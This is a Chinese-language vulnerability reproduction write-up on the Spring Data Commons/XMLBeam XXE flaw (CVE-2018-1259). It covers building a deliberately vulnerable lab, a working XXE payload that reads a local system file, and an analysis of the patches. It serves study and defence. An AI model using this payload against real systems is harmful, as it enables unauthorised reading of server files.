01
—
漏洞简介
XMLBeans 提供了底层XML数据的对象视图,同时还能访问原始的XML信息集合。Spring Data Commons 1.13至1.13.11以及2.0至2.0.6的版本在与XMLBeam1.4.14或更早的版本进行结合使用时,XMLBeam不会限制XML外部实体应用,导致未经身份验证的远程恶意用户可以针对Spring Data的请求绑定特定的参数,访问系统上的任意文件。
02
—
环境搭建
下载官方的示例包
git clone https://github.com/spring-projects/spring-data-examples.git
用idea打开,配置pom.xml文件,
修改spring-data-commons的版本
<dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-commons</artifactId><version>2.0.5.RELEASE</version></dependency>
下载好相关依赖插件和包之后,生成package
cd /spring/spring-data-examples/web/projectionmvn clean package

启动环境:
cd /spring/spring-data-examples/web/projection/targetjava -jar spring-data-web-projection-2.0.0.BUILD-SNAPSHOT.jar

访问:http://127.0.0.1:8080/,
环境搭建成功,如图。
03
—
漏洞复现
任意文件读取
使用post发送xml格式的payload
如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini" >]><user><firstname>&rabbit;</firstname><lastname>don9sec</lastname></user>

成功读取到了文件内容,如图。
04
—
漏洞分析
一般在网上还未公开poc时,漏洞补丁对安全攻城狮做应急/复现来说无疑是最好的参考。
# 详见:# xmlbeam的补丁https://github.com/SvenEwald/xmlbeam/commit/f8e943f44961c14cf1316deb56280f7878702ee1# spring-data-commons的补丁https://github.com/spring-projects/spring-data-commons/commit/b8974a292ab463a304eda987632be4d9c145f5f8
可以发现,xmlbeam的补丁中对DefaultXMLFactoriesConfig.java
进行了如下修改:
配置了默认的feature

禁止实体引用、禁止合并多个XML文档。

spring-data-commons的补丁在传入XMLBeam的XBProjector时候也做了如下修改:

给DocumentBuilderFactory设置了参数,阻止外部实体的引入,禁用inline DOCTYPE声明,防止了XML实体注入。
所以,经过对补丁的分析,可以了解到该XXE漏洞的本质就是因为
src/main/java/org/xmlbeam/config/DefaultXMLFactoriesConfig.java
配置不当(没有限制外部实体)而导致的,而Spring Data Commons的某些版本中恰好使用了含有漏洞的XMLBeam组件,于是受到了影响。
05
—
附录
pom.xml:
替换掉官方示例包的pom.xml即可
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><artifactId>spring-data-web-projection</artifactId><name>Spring Data - JSON and XML projection web example</name><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-commons</artifactId><version>2.0.5.RELEASE</version></dependency><dependency><groupId>com.jayway.jsonpath</groupId><artifactId>json-path</artifactId></dependency><dependency><groupId>org.xmlbeam</groupId><artifactId>xmlprojector</artifactId><version>1.4.13</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build></project>
参考:
https://blog.spoock.com/2018/05/16/cve-2018-1259/




